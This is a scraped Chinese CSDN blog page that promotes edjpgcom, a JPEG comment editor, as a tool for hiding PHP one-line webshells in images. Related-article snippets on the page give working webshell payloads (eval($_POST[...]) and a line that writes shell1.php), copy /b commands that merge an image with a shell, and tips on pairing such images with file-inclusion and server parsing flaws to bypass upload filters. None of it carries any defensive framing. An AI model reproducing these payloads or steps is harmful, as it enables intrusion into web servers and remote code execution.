一句话木马插入图片----edjpgcom

最新推荐文章于 2023-05-05 15:51:57 发布
最新推荐文章于 2023-05-05 15:51:57 发布
阅读量6.7k 收藏 1
点赞数 1
分类专栏： 安全测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lanbingkafei/article/details/8867322
版权

说是edjpgcom v4.0其实是v0.4版本，很精巧强悍的小工具！   主要功能是能在图片里插入一句话马或者小马，伪造的比较好。界面如图：


下载地址

蓝冰咖啡
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
edjpgcom.exe
08-09
edjpgcom is a free Windows application that allows you to change (or add) a JPEG commment in a JPEG file. That's all it does. All other fields in a JFIF or Exif file are left untouched. It even keeps the filesystem timestamp! It's based on the rdjpgcom and wrjpgcom utilities from the Independent JPEG Group's 6b distribution. (Heck, it's essentially these two programs combined with a basic dialog control.)
edjpgcom图片插入一句话工具
02-12
edjpgcom图片插入一句话工具
通杀IIS7.0畸形解析0day漏洞（类似Nginx那个0day）
Yatere的天平秤
04-28 1940
 在群里看见许多大牛在周杰伦官方留页面 一群小菜四处宣传，实在没必要 渗透方法其实和网上并没有区别 大家可以网上看看 通杀IIS7.0畸形解析0day漏洞 先合并一张PHP一句话图片马，合并方法： ①、DOS合并：copy 1.gif /b + 1.txt/a asp.gif ②、用edjpgcom，进行图片和一句话木马的合并， 图片随便找一张. 【
edjpgcom生成一句话图片木马
weixin_43294413的博客
07-02 1186
首先，我们从网上下载edjpgcom工具（网上的一些百度云盘会有大佬分享），然后下载一张图片（建议小一点的图片） 将图片用鼠标拖到edjpgcom.exe的程序上，会出现如下的弹窗，然后将编写的一句脚本写入,点击ok即可. <?fputs(fopen("shell1.php","w"),'<?php @eval($_POST[caidao]);?>')?> 查看图片，用记事本打开图片，检查脚本是否写入图片中. ...
2023网络安全HW蓝队面试题汇总
热门推荐
网络安全
05-05 2万+
护网行动是提高国家网络安全防御能力的一种有效手段，而蓝队作为攻防演习中的防守方，也是护网行动的重要一份子。 在这篇文章中，我们将汇总多篇有关护网行动蓝队初级人员面试题的资料，对这些资料进行整合和分析，为准备参加面试的蓝队初级人员提供参考，为读者提供一些实用的技巧和建议，帮助大家更好地应对蓝队初级人员面试。基础篇题目Q讲一下TOP10有哪些？A1.失效的访问控制2.加密机制失效3.注入（包括跨站脚本攻击XSS和SQL注入等）4.不安全设计5.安全配置错误6.自带缺陷和过时的组件7.身份识别和身份验证错误8.软
一句话图片木马的制作
netuser1937的博客
12-19 1万+
一句话图片木马的制作
如何制作图片一句话木马
qq_52676257的博客
03-09 2899
如何制作图片一句话木马 新建一个文件夹，在其中放入一张图片（图片后缀名只要是图片的那几个后缀名即可）和一句话木马，例如： 其中的一句话木马为 <?php @eval($_POST["value"]);?> 再写入一个cmd的bat文件 然后打开bat文件 并输入copy tp.jpg/b+yjh.php shell.jpg 这样就会在先前所建的文件夹里，得到了一张新的图片，我命名为了shell.jpg，这时我们就得到了所需要的图片一句话木马。 ...
edjpgcom 使用方法和下载
myidea999的博客
02-21 9114
把图片拖动到edjpgcom.exe上，然后弹框内写入指令 下载链接：链接: https://pan.baidu.com/s/1ksyleLk034AGKmiy9E8a9A 提取码: caep
文件上传漏洞—一句话图片马制作
weixin_44431280的博客
02-28 8762
文件上传漏洞—一句话图片马制作 提要：在文件上传漏洞中，通常需要上传脚本类型的文件至服务端执行，获取WebShell，但是通常网站会严格过滤脚本类型的文件，这个时候便可以通过图片马来突破。 简介：就是在图片格式文件（JPG，PNG和GIF等）中隐藏一句话木马，利用文件包含漏洞，Web容器解析漏洞和.htaccess文件解析成对应的脚本，达到可以被Web容器执行的效果。 利用场景：因为图片格式的文件默认是不会被Web容器解析的，所以通过需要借助到文件包含漏洞，Web容器解析漏洞和.htaccess文件。 图片
edjpgcom|图片中插入一句话
04-12
edjpgcom is a free Windows application that allows you to change (or add) a JPEG commment in a JPEG file. That's all it does. All other fields in a JFIF or Exif file are left untouched. It even keeps the filesystem timestamp! It's based on the rdjpgcom and wrjpgcom utilities from the Independent JPEG Group's 6b distribution. (Heck, it's essentially these two programs combined with a basic dialog control.) Installation: ------------- Copy the executable egjpgcom.exe someplace convenient. It's completely self contained and uses no registry entries. Usage: ------ edjpgcom "filename.jpg" The quotes around the filename are *required* (Don't ask.) A dialog will popup. The text area will contain any existing comment text. You can cut and paste using the usual Ctrl-C, Ctrl-V, Ctrl-X. If you press OK, this text will be added to your file and a backup file will be created with the same name as your file but with a ".bak" added. If you don't want this backup file, check the 'Delete Backup?' checkbox. Of course pressing Cancel will exit without doing anything. If you want to delete a comment, just delete all the comment text. Edjpgcom will then delete the comment section. Now I don't really expect this program to be used from the command line. Instead, I assume that you will add it to either the external programs list of another editing/managment program OR add it to the context menu for JPEG files in windows. NOTE: Changing file associations akin to editing your registry. Be careful and be sure you know how to undo anything you might have done. For example, in Windows 98: * open Windows Explorer * View -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) NOTE: Sometimes you may not be able to find the JPG File types If this happens see below. * press the "Edit" button * press the "New" button * for the "Action:" enter Comment * for the "Application used..." enter "c:\full\path\to\edjpgcom.exe" "%1" where the quotes are important (if you do not use quotes around the program path name, Windows may assume only short filenames can be passed to the program) and replacing c:\full\path\to with the correct directory path where you put the executable. Now "Comment" should appear when you right-click on a JPEG file. This works well in combination with "View as webpage" or "Thumbnails". In Win2k, the procedure is the same except you get to the add action dialog this way: * Open "Windows NT Explorer" * Tools -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) * press the "Advanced" button NOTE: Sometimes you may not be able to find the file type associated with .jpg files. This usually happens after several programs have reset your file associations. I use an utility from PC Mag called "Freedom of Association" to reassign the .jpg extension to a registered type. Another alternative is to add a shortcut to egjpgcom.exe to your Windows "Send To" directory. You can then send a file to edjpgcom. It will politely refuse to handle a non-jpeg file. If you use ThumbsPlus to manage your photos (highly recommended), you can add edjpgcom as an external program using the following steps: * Right-click on the tool bar to bring up the customization window * Press the "External Programs" button * Enter the full pathname to edjpgcom.exe in the Program box. * Make sure the "Short Names", "multiple files" and DDE are NOT checked. Now you will have an icon on your toolbar and a menu item on the right-click popup window for image files. Template File ------------- If the environment variable EDJPGCOM_TEMPLATE exists and points to a readable file, then the contents of this file will be used as the default comment when adding a comment to a file that does not already have one. License: -------- Permission to use this software for any purpose, without fee, is hereby granted. THIS SOFTWARE IS BEING PROVIDED AS IS, without any express or implied warranty. If you like it send me one of your photos (email or a postcard) at: edjpgcom@yahoo.com Erik Magnuson 7490 Windover Way Titusville, FL 32780 Send comments/bug reports to edjpgcom@yahoo.com. How it works: ------------- When egjpgcom starts, it opens the file, extracts the comments and then closes the file again. When you press OK, it creates a temporary file with the same path and filename as the original, but with an random 3 digit extension instead of ".jpg". It then copies the header data from the original file, the new comment, and the rest of the original file to this temporary file. It closes the temp file and attempts to rename the original file to ".bak". If this succeeds, it will rename the temporary file to have the original filename. Last, it deletes the backup file if that options is selected. What this means is that if egjpgcom should crash for any reason, you should still have your original file (unless you deleted it!). You might have to clean up a .nnn file but that's it. It's been tested on Win2k, NT 4.0 SP5, Win95a, Win98, and Win98SE. Limitations: ------------ * The egjpgcom program itself only supports a single filename as input. However, if multiple files are selected and "Add Comments" context menu is chosen, multiple copies of egjpgcom will be started. Hopefully, the filename in the title bar will help you figure out which is which. * While a JPEG comment field can up to 64k chars, edjpegcom is limited to 32000 characters by the Win32 edit dialog. * egjpgcom uses the DOS/Windows CRLF convention for line terminators. It will convert any plain CR or LF to a CRLF pair. * edjpgcom has not been tested with multiple COM sections in a single file. * edjpgcom does not get any comment data from other comment fields like Photoshop FileInfo (IPTC/NAA subset) Exif ImageDescription Exif UserComment * Error messages are primitive. Credits: -------- This software is based in part on the work of the Independent JPEG Group. Thanks to Jacob Navia for lcc-win32. rec.photo.digital for all the information. History: -------- 17 Feb 2001 v0.1 foisted upon an indifferent world 19 Feb 2001 v0.2 Fixed Win9x file creation timestamp (well, it worked on Win2k!) 10 Apr 2001 v0.3 Deletes comment section if empty comment entered Does not write file is comment text unchanged and "OK" pressed. Added a simple program icon. 19 Dec 2001 v0.4 Larger dialog box size Defaults to delete backup Optional template file if empty comment block. ------------------------------ 可以在正常的图片中插入一句话代码。
edjpgcom图片插入一句话工具(1).rar
04-08
这是让图片带有小马的一键生成工具，有需要的可以自己下。挺好用的一个小程序，如果你也想成为一个白帽，可以先拿这个练练手。
imgtrjs.rar
11-02
这个是模仿一个叫edjpgcom的软件。不过这个相对于edjpgcom来说更为友好！ 功能也比较多，直接生成一句话木马。 有什么错误就发邮件给我吧。欢迎下载
edjpgcom(适合用于Local File Inclusion Vulnerability)
12-10
edjpgcom(适合用于Local File Inclusion Vulnerability) edjpgcom可在JPG文件中插入注释, 而不会损坏原来的文件（即插入内容后图片任可浏览）, 适合用于Local File Inclusion Vulnerability milw0rm有动画 http://milw0rm.org/video/watch.php?id=57 有篇文章也有用到，搜“又一上传突破” 百度Google直接“edjpgcom”貌似找不到，搜“jpg comment edit”
edjpgcom图片插入一句话工具.zip
06-09
edjpgcom\edjpgcom\edjpgcom\edjpgcom\edjpgcom\edjpgcom图片一句话木马工具
edjpgcom-图片添加代码工具.zip
07-20
可以往图片中添加木马的强大工具，懂的人自然懂，CSDn没有资源，上传一个以备用时。-------------------
setcookie的httponly属性
专注于性能调优、安全、自动化
04-30 1万+
setcookie函数原型：http://cn2.php.net/setcookie setcookie的httponly属性如果设为true的话，会增加对xss防护的安全系数。它有以下特点：      1、setcookie()的第七个参数    2、设为true后，只能通过http访问，javascript无法访问    3、防止xss读取cookie    4、php5.2以上
一句话木马图片转换成php
最新发布
01-28
将一句话木马图片转换成php是指将一个包含恶意代码的图片文件（一句话木马）转换为可执行的php代码。这种操作通常是为了绕过一些安全策略，将恶意代码注入到目标系统中，从而实施各种攻击，如窃取用户信息、篡改网页...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值